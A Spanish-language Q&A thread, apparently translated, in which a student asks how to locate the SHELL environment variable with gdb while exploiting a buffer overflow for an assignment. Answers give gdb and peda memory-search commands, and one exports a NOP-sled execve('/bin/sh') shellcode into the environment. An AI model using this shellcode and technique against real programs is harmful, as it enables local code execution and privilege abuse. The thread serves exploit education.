Buscando variables de entorno con gdb, para explotar un desbordamiento de búfer

10

Tengo que explotar un desbordamiento de búfer muy simple en un programa de C ++ vulnerable para una asignación y no puedo encontrar la variable de entorno SHELL.

Nunca he trabajado con BoF antes, y después de leer muchas preguntas similares, publicaciones, etc. Tengo esta información (corríjame si está mal):

  • El programa almacena las variables de entorno en una variable global llamada environ
  • Puedo encontrar la dirección de esta variable de esta manera:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Necesito encontrar la cadena /bin/bash en esa variable para iniciar un shell (ya tengo el sistema y las direcciones de salida, solo necesito la ruta al shell). Y aquí es donde no sé qué hacer. He estado leyendo tutoriales gdb, pero todavía nada. x/s 0xb7fd1b00 no genera nada útil.

pregunta Palantir 28.03.2012 - 19:31
fuente

4 respuestas

15

environ es un puntero a puntero, ya que tiene el tipo char **environ .

Tienes que probar algo como:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "SHELL=/bin/bash"
    
respondido por el J.D. 28.03.2012 - 21:18
fuente
3
  • Las variables de entorno están a 16 bytes del puntero base (% ebp).
  • Coloque un punto de interrupción en la función principal y haga esto,
  

(gdb) x / wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x / wx   0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x / s 0xffffd67e
  0xffffd67e: "XDG_SEAT_PATH = / org / freedesktop / DisplayManager / Seat0"
  (gdb) (gdb) x / wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb)   x / s 0xffffd6b2
  0xffffd6b2: "XDG_CONFIG_DIRS = / etc / xdg / lubuntu: / etc / xdg / xdg-Lubuntu: / usr / share / upstart / xdg: / etc / xdg"

Consulte este blog

    
respondido por el h1dd3ntru7h 07.06.2015 - 16:54
fuente
2

Si tiene peda instalado para gdb, simplemente puede escribir esto en gdb:

gdb-peda$ searchmem SHELL

La salida se mostraría

Searching for 'SHELL' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("SHELL=/bin/bash")
    
respondido por el redgetan 11.03.2015 - 20:52
fuente
0

También puedes usar solo "refsearch variable_name" si tienes peda instalado para gdb.

ejemplo:

Primero que todo, debes agregar una variable (algo como Shellcode) al entorno.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Luego, abra gdb con el programa de ejemplo, divida la función principal y ejecute.

Cuando el programa se detiene en el punto de interrupción, puede buscar la dirección del entorno siguiendo el comando.

refsearch Shellcode

    
respondido por el user147694 08.05.2017 - 07:23
fuente

Lea otras preguntas en las etiquetas